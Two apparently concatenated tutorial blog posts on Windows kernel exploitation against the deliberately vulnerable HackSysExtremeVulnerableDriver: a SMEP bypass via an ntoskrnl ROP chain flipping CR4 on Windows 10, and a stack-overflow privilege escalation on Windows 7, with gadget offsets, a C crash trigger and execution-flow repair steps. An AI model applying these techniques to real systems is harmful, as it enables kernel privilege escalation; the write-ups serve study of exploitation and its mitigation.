Stop error 0x000000fc indicates a ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY issue which is caused by a hardware mitigation called SMEP (Supervisor Mode Execution Prevention).

Continueing execution results in this lovely screen…

smep_1

1. So what’s SMEP?

SMEP (Supervisor Mode Execution Prevention) is a hardware mitigation introducted by Intel (branded as “OS Guard”) that restricts executing code that lies in usermode to be executed with Ring-0 privileges, attempts result in a crash. This basically prevents EoP exploits that rely on executing a usermode payload from ever executing it.

The SMEP bit is bit 20 of the CR4 register, which Intel defines as:

CR4 — Contains a group of flags that enable several architectural extensions, and indicate operating system or executive support for specific processor capabilities. 

Setting this bit to 1 enables SMEP, while setting it to 0 disables it (duh).

You can read more about this in the Intel Developer’s Manual.

2. Bypassing SMEP

There are a few ways described in the reading material that allow you to bypass SMEP, I recommend reading them for better understanding. For this exploit we’ll use the first method described in j00ru’s blog:

  • Construct a ROP chain that reads the content of CR4, flips the 20th bit and writes the new value to CR4. With SMEP disabled, we can “safely” jump to our user-mode payload.

  • If reading and/or modifying the content is not possible, just popping a “working” value to CR4 register will work. While this is not exactly elegant or clean, it does the job.

Worth noting is that Hyperguard won’t allow modifying CR4 if you’re using a Hyper-V instance.

Virtualization-based security (VBS)

Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEP field, are blocked instantly.

Gadgets we’ll be using all exist in ntoskrnl.exe which we’re able to get its base address using EnumDrivers (some say it’s not reliable but I didn’t run into issues, but given its behaviour isn’t publicly documented you better cross your fingers) or by calling NtQuerySystemInformation (you’ll need to export it first), we’ll be using the first approach.

    LPVOID addresses[1000];
    DWORD needed;

    EnumDeviceDrivers(addresses, 1000, &needed);

    printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

Okay, now that we have nt’s base address, we can rely on finding relative offsets to it for calculating the ROP chain’s gadgets.

I referred to ptsecurity’s post on finding the gadgets.

First gadget we need should allow us to pop a value into the cr4 registe. Once we find one, we’ll be able to figure out which register we need to control its content next.

kd> uf nt!KiConfigureDynamicProcessor

nt!KiConfigureDynamicProcessor:
fffff802`2cc36ba8 sub     rsp,28h
fffff802`2cc36bac call    nt!KiEnableXSave (fffff802`2cc2df48)
fffff802`2cc36bb1 add     rsp,28h
fffff802`2cc36bb5 ret

kd> uf fffff802`2cc2df48

nt!KiEnableXSave:
fffff802`2cc2df48 mov     rcx,cr4
fffff802`2cc2df4b test    qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h

... snip ...

nt!KiEnableXSave+0x39b0:
fffff802`2cc318f8 btr     rcx,12h
fffff802`2cc318fd mov     cr4,rcx       // First gadget!
fffff802`2cc31900 ret

kd> ? fffff802`2cc318fd - nt

Evaluate expression: 4341861 = 00000000`00424065

Gadget #1 is mov cr4,rcx at nt + 0x424065!

Now we need a way to control rcx’s content, ptsecurity’s post mentions HvlEndSystemInterrupt as a good target:

kd> uf HvlEndSystemInterrupt

nt!HvlEndSystemInterrupt:
fffff802`cdb76b60 push    rcx
fffff802`cdb76b62 push    rax
fffff802`cdb76b63 push    rdx
fffff802`cdb76b64 mov     rdx,qword ptr gs:[6208h]
fffff802`cdb76b6d mov     ecx,40000070h
fffff802`cdb76b72 btr     dword ptr [rdx],0
fffff802`cdb76b76 jb      nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e)  Branch

nt!HvlEndSystemInterrupt+0x18:
fffff802`cdb76b78 xor     eax,eax
fffff802`cdb76b7a mov     edx,eax
fffff802`cdb76b7c wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff802`cdb76b7e pop     rdx
fffff802`cdb76b7f pop     rax
fffff802`cdb76b80 pop     rcx       // Second gadget!
fffff802`cdb76b81 ret

kd> ? fffff802`cdb76b80 - nt
Evaluate expression: 1514368 = 00000000`00171b80

Gadget #2 is pop rcx at nt + 0x171b80!

ROP chain will be the following:

+------------------+
|pop rcx; ret      |	// nt + 0x424065
+------------------+
|value of rcx      |	// ? @cr4 & FFFFFFFF`FFEFFFFF
+------------------+
|mov cr4, rcx; ret |	// nt + 0x424065
+------------------+
|addr of payload   |	// Available from user-mode
+------------------+

It’s extremely important to notice that writing more than 8 bytes starting the RIP offset means the next stack frame gets corrupted. Returning to

3. Restoring execution flow

Let’s take one more look on the stack call BEFORE the memset call:

Breakpoint 1 hit
HEVD!TriggerStackOverflow:
fffff801`71025640 mov     qword ptr [rsp+8],rbx
kd> k
 # Child-SP          RetAddr           Call Site
00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65] 
01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125] 
02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229] 
03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e

Pitfall 1: returning to StackOverflowIoctlHandler+0x1a

Although adjusting the stack to return to this call works, a parameter on the stack (Irp’s address) gets overwritten thanks to the ROP chain and is not recoverable as far as I know. This results in an access violation later on.

Assembly at TriggerStackOverflow+0xbc:

fffff801`710256f4 lea     r11,[rsp+820h]
fffff801`710256fc mov     rbx,qword ptr [r11+10h]	// RBX should contain Irp's address, this is now overwritten to the new cr4 value

This results in rbx (previously holding Irp’s address for IrpDeviceIoCtlHandler call) to hold the new cr4 address and later on being accessed, results in a BSOD.

fffff801`f88d63e0 and     qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????

Notice that rbx holds cr4’s new value. This instructions maps to

Irp->IoStatus.Information = 0;

in IrpDeviceIoCtlHandler.

So, returning to StackOverflowIoctlHandler+0x1a is not an option.

Pitfall 2: Returning to HEVD!IrpDeviceIoCtlHandler+0x149

Same issue as above, Irp’s address is corrupted and lost for good. Following instructions result in access violation.

Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

You can make rbx point to some writable location but good luck having a valid Irp struct that passes the following call.

// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Another dead end.

Pitfall 3: More access violations

Now we go one more level up the stack, to nt!IofCallDriver+0x59. Jumping to this code DOES work but still, access violation in nt occurs.

It’s extremely important (and I mean it) to take note of all the registers how they behave when you make the IOCTL code in both a normal (non-exploiting) and exploitable call.

In our case, rdi and rsi registers are the offending ones. Unluckily for us, in x64, parameters are passed in registers and those two registers get populated in HEVD!TriggerStackOverflow.

fffff800`185756f4 lea     r11,[rsp+820h]
fffff800`185756fc mov     rbx,qword ptr [r11+10h]
fffff800`18575700 mov     rsi,qword ptr [r11+18h]       // Points to our first gadget
fffff800`18575704 mov     rsp,r11
fffff800`18575707 pop     rdi                           // Points to our corrupted buffer ("AAAAAAAA")
fffff800`18575708 ret

Now those two registers are both set to zero if you submit an input buffer that doesn’t result in a RET overwrite (you can check this by sending a small buffer and checking the registers contents before you return from TriggerStackOverflow). This is no longer the case when you mess up the stack.

Now sometime after hitting nt!IofCallDriver+0x59

kd> u @rip
nt!ObfDereferenceObject+0x5:
fffff800`152381c5 mov     qword ptr [rsp+10h],rsi
fffff800`152381ca push    rdi
fffff800`152381cb sub     rsp,30h
fffff800`152381cf cmp     dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov     rsi,rcx
fffff800`152381d9 jne     nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or      rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
kd> ? @rsi
Evaluate expression: -8795734228891 = fffff800`1562c065         // Address of mov cr4,rcx instead of 0
kd> ? @rdi
Evaluate expression: 4702111234474983745 = 41414141`41414141    // Some offset from our buffer instead of 0

Now that those registers are corrupted, we can just reset their expected value (zeroeing them out) sometime before this code is ever hit. A perfect place for this is after we execute our token stealing payload.

xor rsi, rsi
xor rdi, rdi

Last step would be adjusting the stack properly to point to nt!IofCallDriver+0x59’s stack frame by adding 0x40 to rsp.

Full exploit code can be found here.

4. Mitigation the vulnerability

Although this is a vanilla stack smashing vulnerability, it still happens all the time. Key ways to mitigate/avoid this vulnerability is:

  1. Sanitize the input, don’t trust the user data (or its size). Use upper/lower bounds.
  2. Use /GS to utilize stack cookies.

Or even better, don’t write a kernel driver unless you need to ;)

5. Recap

  • Bypassing SMEP might be intimidating at first, but a small ROP chain was able to make it a piece of cake.
  • Restoring execution flow was challenging due to access violations. Every stack frame had its own challenges.
  • Keeping an eye on registers is crucial. Note which registers get affected by your exploit and try to repair them if possible.
  • Offsets change quite often, there’s a good chance this exploit will break with the next update.

5. References

Whew, done.


- Abatchy

[Kernel Exploitation] 3: Stack Buffer Overflow (Windows 7 x86/x64)

2 January 2018 at 10:00

The HackSysExtremeVulnerableDriver by HackSysTeam always interested me and I got positive feedback on writing about it, so here we are.

Exploit code can be found here.


1. Understanding the vulnerability

Link to code here.

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

TriggerStackOverflow is called via StackOverflowIoctlHandler, which is the IOCTL handler for HACKSYS_EVD_IOCTL_STACK_OVERFLOW.

Vulnerability is fairly obvious, a user supplied buffer is copied into a kernel buffer of size 2048 bytes (512 * sizeof(ULONG)). No boundary check is being made, so this is a classic stack smashing vulnerability.

2. Triggering the crash

#include <Windows.h>
#include <stdio.h>

// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main()
{
	// 1. Create handle to driver
	HANDLE device = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	printf("[+] Opened handle to device: 0x%x\n", device);

	// 2. Allocate memory to construct buffer for device
	char* uBuffer = (char*)VirtualAlloc(
		NULL,
		2200,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);

	printf("[+] User buffer allocated: 0x%x\n", uBuffer);

	RtlFillMemory(uBuffer, 2200 , 'A');
	
	DWORD bytesRet;
	// 3. Send IOCTL
	DeviceIoControl(
		device,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		uBuffer,
		2200,
		NULL,
		0,
		&bytesRet,
		NULL
	);
}

Now compile this code and copy it over to the VM. Make sure a WinDBG session is active and run the executable from a shell. Machine should freeze and WinDBG should (okay, maybe will) flicker on your debugging machine.

HEVD shows you debugging info with verbose debugging enabled:

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow

Enter k to show the stack trace, you should see something similar to this:

kd> k
 # ChildEBP RetAddr  
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92] 
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141

If you continue execution, 0x41414141 will be popped into EIP. That wasn’t so complicated :)


3. Controlling execution flow

Exploitation is straightforward with a token-stealing payload described in part 2. The payload will be constructed in user-mode and its address passed as the return address. When the function exists, execution is redirected to the user-mode buffer. This is called a privilege escalation exploit as you’re executing code with higher privileges than you’re supposed to have.

Since SMEP is not enabled on Windows 7, we can point jump to a payload in user-mode and get it executed with kernel privileges.

Now restart the vm .reboot and let’s put a breakpoint at function start and end. To know where the function returns, use uf and calculate the offset.

kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
   65 9176b62a push    80Ch
   65 9176b62f push    offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
   65 9176b634 call    HEVD!__SEH_prolog4 (91768014)
   
   ...
   
  101 9176b6ed call    HEVD!__SEH_epilog4 (91768059)
  101 9176b6f2 ret     8
  
kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8

kd> bu HEVD!TriggerStackOverflow

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> bl
     0 e Disable Clear  9176b62a     0001 (0001) HEVD!TriggerStackOverflow
     1 e Disable Clear  9176b6f2     0001 (0001) HEVD!TriggerStackOverflow+0xc8

Next, we need to locate RET’s offset:

  • At HEVD!TriggerStackOverflow+0x26, memset is called with the kernel buffer address stored at @eax. Step over till you reach that instruction.
  • @ebp + 4 points to the stored RET address. We can calculate the offset from the kernel buffer.
kd> ? (@ebp + 4) - @eax
Evaluate expression: 2076 = 0000081c

We now know that the return address is stored 2076 bytes away from the start of the kernel buffer!

The big question is, where should you go after payload is executed?


4. Cleanup

Let’s re-think what we’re doing. Overwriting the return address of the first function on the stack means this function’s remaining instructions won’t be reached. In our case, this function is StackOverflowIoctlHandler at offset 0x1e.

WinDBG_screenshot_2

Only two missing instructions need to be executed at the end of our payload:

9176b718 pop     ebp
9176b719 ret     8

We’re still missing something. This function expects a return value in @eax, anything other than 0 will be treated as a failure, so let’s fix that before we execute the prologue.

xor eax, eax                    ; Set NTSTATUS SUCCEESS

The full exploit can be found here. Explanation of payload here.

Exploit_screenshot_2


5. Porting the exploit to Windows 7 64-bit

Porting this one is straightforward:

  • Offset to kernel buffer becomes 2056 instead of 2076.

  • x64 compatible payload..

  • Addresses are 8 bytes long, required some modifications.

  • No additional relevant protection is enabled.

Exploit_screenshot_2

Full exploit here.


6. Recap

  • A user-supplied buffer is being copied to a kernel buffer without boundary check, resulting in a class stack smashing vulnerability.

  • Function return address is controllable and can be pointed to a user-mode buffer as SMEP is not enabled.

  • Payload has to exist in an R?X memory segment, otherwise DEP will block the attempt.

  • No exceptions can be ignored, which means we have to patch the execution path after payload is executed. In our case that consisted of 1) setting the return value to 0 in @eax and 2) execute the remaining instructions in StackOverflowIoctlHandler before returning.


That’s it! Part 4 will be exploiting this on Windows 10 with SMEP bypass!

- Abatchy

❌
❌